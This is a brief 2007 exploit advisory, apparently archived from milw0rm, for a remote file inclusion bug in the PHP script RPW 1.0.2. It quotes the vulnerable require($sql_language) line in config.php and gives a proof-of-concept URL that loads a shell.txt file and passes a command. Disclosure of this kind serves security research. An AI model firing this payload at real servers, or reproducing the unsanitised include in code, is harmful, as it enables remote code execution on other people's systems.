_________________________________ ________| |________ \ | Dr Max Virus | / \ | | / / |_________________________________| \ /___________) (___________\ ------------------------------------------------------------------------------------------------------------------------ Script:RPW Affected Version:1.0.2 Downlaoad&Victim:http://vlad.tepesch.free.fr/mods/rpw1.0.2.zip ------------------------------------------------------------------------------------------------------------------------ Author:Dr Max Virus ------------------------------------------------------------------------------------------------------------------------ Bug in (config.php) Vul Code; require($sql_language); ------------------------------------------------------------------------------------------------------------------------ POC: http://[target]/[path]/config.php?sql_language=shell.txt?&cmd=0wn3d By Dr Max Virus; ------------------------------------------------------------------------------------------------------------------------ Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk ------------------------------------------------------------------------------------------------------------------------ # milw0rm.com [2007-01-24]